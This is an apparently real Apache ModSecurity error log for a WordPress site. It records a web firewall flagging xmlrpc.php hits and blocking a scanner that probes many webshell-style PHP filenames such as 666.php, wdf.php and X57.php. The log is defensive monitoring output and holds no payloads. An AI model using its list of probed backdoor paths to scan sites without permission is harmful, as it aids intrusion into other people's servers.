[Mon Mar 02 04:32:58.115632 2026] [:error] [pid 28908:tid 28933] [client 159.196.168.118:5825] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSieoqJmC8ih_lQQnC_8gAAANc"]
[Mon Mar 02 04:43:35.966803 2026] [:error] [pid 28794:tid 28855] [client 20.207.204.235:12291] [client 20.207.204.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaSk96Vy2qpaelbUob3yJQAAAFM"]
[Mon Mar 02 04:43:36.523703 2026] [:error] [pid 31257:tid 31286] [client 20.207.204.235:16153] [client 20.207.204.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaSk-P-JFLfishX45N_vsAAAARc"]
[Mon Mar 02 04:43:37.087130 2026] [:error] [pid 31257:tid 31277] [client 20.207.204.235:20467] [client 20.207.204.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaSk-f-JFLfishX45N_vtAAAAQ4"]
[Mon Mar 02 04:43:37.643892 2026] [:error] [pid 31257:tid 31268] [client 20.207.204.235:12302] [client 20.207.204.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaSk-f-JFLfishX45N_vtwAAAQU"]
[Mon Mar 02 05:21:25.368150 2026] [:error] [pid 31257:tid 31274] [client 159.196.168.118:5991] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSt1f-JFLfishX45N8aOgAAAQs"]
[Mon Mar 02 05:22:12.352895 2026] [:error] [pid 31257:tid 31276] [client 159.196.168.118:6018] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSuBP-JFLfishX45N8a-gAAAQ0"]
[Mon Mar 02 05:23:13.300807 2026] [:error] [pid 31257:tid 31269] [client 159.196.168.118:6039] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSuQf-JFLfishX45N8bmgAAAQY"]
[Mon Mar 02 05:29:19.470167 2026] [:error] [pid 28908:tid 28931] [client 20.215.209.82:21027] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/path.php"] [unique_id "aaSvr4qJmC8ih_lQQnDrEgAAANU"]
[Mon Mar 02 05:29:20.487920 2026] [:error] [pid 31257:tid 31281] [client 20.215.209.82:39774] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/path.php"] [unique_id "aaSvsP-JFLfishX45N8ibgAAARI"]
[Mon Mar 02 05:29:22.893121 2026] [:error] [pid 28794:tid 28845] [client 20.215.209.82:24738] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/path.php"] [unique_id "aaSvsqVy2qpaelbUob0EcAAAAEk"]
[Mon Mar 02 05:29:24.336962 2026] [:error] [pid 28795:tid 28874] [client 20.215.209.82:29905] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/path.php"] [unique_id "aaSvtLROd53wZBkdI_cRUQAAAIs"]
[Mon Mar 02 05:29:25.218068 2026] [:error] [pid 28794:tid 28843] [client 20.215.209.82:44531] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wdf.php"] [unique_id "aaSvtaVy2qpaelbUob0EeAAAAEc"]
[Mon Mar 02 05:29:26.205667 2026] [:error] [pid 28794:tid 28851] [client 20.215.209.82:33985] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wdf.php"] [unique_id "aaSvtqVy2qpaelbUob0EfgAAAE8"]
[Mon Mar 02 05:29:27.489864 2026] [:error] [pid 28795:tid 28885] [client 20.215.209.82:4980] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wdf.php"] [unique_id "aaSvt7ROd53wZBkdI_cRYwAAAJY"]
[Mon Mar 02 05:29:30.788638 2026] [:error] [pid 28794:tid 28858] [client 20.215.209.82:34410] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wdf.php"] [unique_id "aaSvuqVy2qpaelbUob0EhwAAAFY"]
[Mon Mar 02 05:29:32.589116 2026] [:error] [pid 28908:tid 28925] [client 20.215.209.82:22596] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fleen.php"] [unique_id "aaSvvIqJmC8ih_lQQnDrJAAAAM8"]
[Mon Mar 02 05:29:34.682875 2026] [:error] [pid 31257:tid 31269] [client 20.215.209.82:22648] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fleen.php"] [unique_id "aaSvvv-JFLfishX45N8ipwAAAQY"]
[Mon Mar 02 05:29:36.558675 2026] [:error] [pid 28908:tid 28920] [client 20.215.209.82:41204] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fleen.php"] [unique_id "aaSvwIqJmC8ih_lQQnDrLwAAAMo"]
[Mon Mar 02 05:29:37.844800 2026] [:error] [pid 28908:tid 28913] [client 20.215.209.82:39765] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fleen.php"] [unique_id "aaSvwYqJmC8ih_lQQnDrNAAAAMM"]
[Mon Mar 02 05:29:43.937294 2026] [:error] [pid 28908:tid 28915] [client 20.215.209.82:23910] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-tem.php"] [unique_id "aaSvx4qJmC8ih_lQQnDrUgAAAMU"]
[Mon Mar 02 05:29:45.654594 2026] [:error] [pid 28794:tid 28847] [client 20.215.209.82:23920] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-tem.php"] [unique_id "aaSvyaVy2qpaelbUob0EmwAAAEs"]
[Mon Mar 02 05:29:46.715286 2026] [:error] [pid 31257:tid 31279] [client 20.215.209.82:29404] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-tem.php"] [unique_id "aaSvyv-JFLfishX45N8i5AAAARA"]
[Mon Mar 02 05:29:56.888364 2026] [:error] [pid 28795:tid 28879] [client 20.215.209.82:41156] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/avim.php"] [unique_id "aaSv1LROd53wZBkdI_cR3QAAAJA"]
[Mon Mar 02 05:29:57.900748 2026] [:error] [pid 28795:tid 28867] [client 20.215.209.82:31399] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/avim.php"] [unique_id "aaSv1bROd53wZBkdI_cR4wAAAIQ"]
[Mon Mar 02 05:30:05.260649 2026] [:error] [pid 28794:tid 28859] [client 20.215.209.82:23889] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/avim.php"] [unique_id "aaSv3aVy2qpaelbUob0EuwAAAFc"]
[Mon Mar 02 05:30:08.511792 2026] [:error] [pid 28794:tid 28858] [client 20.215.209.82:31642] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/avim.php"] [unique_id "aaSv4KVy2qpaelbUob0EyAAAAFY"]
[Mon Mar 02 05:30:12.414936 2026] [:error] [pid 31257:tid 31276] [client 20.215.209.82:23923] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/autogooey.php"] [unique_id "aaSv5P-JFLfishX45N8jVwAAAQ0"]
[Mon Mar 02 05:31:03.474506 2026] [:error] [pid 28908:tid 28913] [client 20.215.209.82:19536] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "aaSwF4qJmC8ih_lQQnDs1QAAAMM"]
[Mon Mar 02 05:31:09.177679 2026] [:error] [pid 28908:tid 28915] [client 20.215.209.82:23640] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "aaSwHYqJmC8ih_lQQnDs7gAAAMU"]
[Mon Mar 02 05:31:10.013443 2026] [:error] [pid 31257:tid 31286] [client 20.215.209.82:30995] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "aaSwHv-JFLfishX45N8kywAAARc"]
[Mon Mar 02 05:31:12.361531 2026] [:error] [pid 28795:tid 28872] [client 20.215.209.82:38634] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/66.php"] [unique_id "aaSwILROd53wZBkdI_cSfgAAAIk"]
[Mon Mar 02 05:31:13.860834 2026] [:error] [pid 28795:tid 28880] [client 20.215.209.82:25951] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaSwIbROd53wZBkdI_cSggAAAJE"]
[Mon Mar 02 05:31:15.324541 2026] [:error] [pid 28908:tid 28933] [client 20.215.209.82:37024] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaSwI4qJmC8ih_lQQnDs_gAAANc"]
[Mon Mar 02 05:31:16.247100 2026] [:error] [pid 31257:tid 31271] [client 20.215.209.82:30934] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaSwJP-JFLfishX45N8lEAAAAQg"]
[Mon Mar 02 05:31:17.162117 2026] [:error] [pid 31257:tid 31276] [client 20.215.209.82:4180] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaSwJf-JFLfishX45N8lKQAAAQ0"]
[Mon Mar 02 05:31:18.681668 2026] [:error] [pid 28793:tid 28808] [client 20.215.209.82:23624] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/olfclass.php"] [unique_id "aaSwJg2_fxBANaHo1f4BCwAAAAE"]
[Mon Mar 02 05:31:19.510119 2026] [:error] [pid 28794:tid 28848] [client 20.215.209.82:38643] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/olfclass.php"] [unique_id "aaSwJ6Vy2qpaelbUob0FMgAAAEw"]
[Mon Mar 02 05:31:20.935224 2026] [:error] [pid 31257:tid 31271] [client 20.215.209.82:21527] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/olfclass.php"] [unique_id "aaSwKP-JFLfishX45N8lSwAAAQg"]
[Mon Mar 02 05:31:22.791592 2026] [:error] [pid 31257:tid 31281] [client 20.215.209.82:40215] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/olfclass.php"] [unique_id "aaSwKv-JFLfishX45N8lXwAAARI"]
[Mon Mar 02 05:31:23.373706 2026] [:error] [pid 28908:tid 28927] [client 20.215.209.82:4186] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file59.php"] [unique_id "aaSwK4qJmC8ih_lQQnDtFAAAANE"]
[Mon Mar 02 05:31:25.173787 2026] [:error] [pid 28795:tid 28880] [client 20.215.209.82:4227] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file59.php"] [unique_id "aaSwLbROd53wZBkdI_cSkgAAAJE"]
[Mon Mar 02 05:31:29.072762 2026] [:error] [pid 31257:tid 31267] [client 20.215.209.82:38192] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file59.php"] [unique_id "aaSwMf-JFLfishX45N8ldQAAAQQ"]
[Mon Mar 02 05:31:30.459502 2026] [:error] [pid 28795:tid 28863] [client 20.215.209.82:21532] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file59.php"] [unique_id "aaSwMrROd53wZBkdI_cStQAAAIA"]
[Mon Mar 02 05:31:32.134853 2026] [:error] [pid 28908:tid 28912] [client 20.215.209.82:4196] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aaSwNIqJmC8ih_lQQnDtMgAAAMI"]
[Mon Mar 02 05:31:33.068099 2026] [:error] [pid 28795:tid 28886] [client 20.215.209.82:4183] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aaSwNbROd53wZBkdI_cSvQAAAJc"]
[Mon Mar 02 05:31:41.027856 2026] [:error] [pid 31257:tid 31280] [client 20.215.209.82:38190] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aaSwPf-JFLfishX45N8l9QAAARE"]
[Mon Mar 02 05:31:42.685206 2026] [:error] [pid 28908:tid 28927] [client 20.215.209.82:27070] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aaSwPoqJmC8ih_lQQnDtTQAAANE"]
[Mon Mar 02 05:31:45.803707 2026] [:error] [pid 28908:tid 28912] [client 20.215.209.82:44005] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nw.php"] [unique_id "aaSwQYqJmC8ih_lQQnDtVgAAAMI"]
[Mon Mar 02 05:31:51.459599 2026] [:error] [pid 28908:tid 28931] [client 20.215.209.82:44024] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nw.php"] [unique_id "aaSwR4qJmC8ih_lQQnDtdgAAANU"]
[Mon Mar 02 05:31:52.232449 2026] [:error] [pid 28908:tid 28918] [client 20.215.209.82:38310] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nw.php"] [unique_id "aaSwSIqJmC8ih_lQQnDtfAAAAMg"]
[Mon Mar 02 05:31:52.967402 2026] [:error] [pid 28908:tid 28932] [client 20.215.209.82:23640] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nw.php"] [unique_id "aaSwSIqJmC8ih_lQQnDtgwAAANY"]
[Mon Mar 02 05:31:54.432096 2026] [:error] [pid 31257:tid 31276] [client 20.215.209.82:9781] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/X57.php"] [unique_id "aaSwSv-JFLfishX45N8mQgAAAQ0"]
[Mon Mar 02 05:31:55.628449 2026] [:error] [pid 28793:tid 28808] [client 20.215.209.82:15223] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/X57.php"] [unique_id "aaSwSw2_fxBANaHo1f4BRwAAAAE"]
[Mon Mar 02 05:31:56.282548 2026] [:error] [pid 28794:tid 28844] [client 20.215.209.82:6493] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/X57.php"] [unique_id "aaSwTKVy2qpaelbUob0FYgAAAEg"]
[Mon Mar 02 05:31:57.264470 2026] [:error] [pid 31257:tid 31273] [client 20.215.209.82:4432] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/X57.php"] [unique_id "aaSwTf-JFLfishX45N8mTgAAAQo"]
